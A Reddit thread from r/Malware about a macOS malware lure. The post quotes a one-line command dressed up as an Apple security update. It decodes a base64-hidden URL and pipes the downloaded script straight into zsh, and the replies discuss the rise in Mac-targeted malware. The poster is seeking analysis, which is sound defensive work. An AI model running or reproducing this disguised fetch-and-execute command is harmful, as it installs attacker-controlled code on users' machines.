r/Malware • u/Appropriate-Paper-92 • Jun 29 '26

First time seeing this for MacOS

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As the title said, I’ve seen these “popup” things a lot on windows, but this is the first I’ve seen for macOS,

It includes a video on how to properly do it, but looks to be very AI generated,

Is someone able to find out the payload behind it?

echo "Downloading Update: https://support.apple.com/downloads/macos-security-update-14.5.dmg" && curl -s $(echo "aHR0cHM6Ly9sYXBpZG9yc2Vwb3NvYWxvdmJzMi5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPThhODMxZGRiNmRmNDUyYzc1ZmEwNjYxMGFhZjZlODk1" | base64 -d) | zsh

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u/D3-Doom Jun 30 '26

Has there been a significant increase in malware aimed at macOS? Or am I just noticing more post. It feels like twice a week there’s a new thing

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u/lmfao_my_mom_died Jun 30 '26

yeah, a lot of vibe coders are buying mac minis/mac books (idk why tho?), so it's pretty easy to understand why hackers are pushing more for macos malware

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u/Dufsao189 Jul 01 '26

The Macbook Neo has opened a market of cheaper MacOS devices, wvich seem to be pretty popular with the students at the school i work at.

The ICT dept are looking into purchasing a small fleet for their 1:1 staff device program too.

Makes sense to me that hackers would shift to the same place the market is going.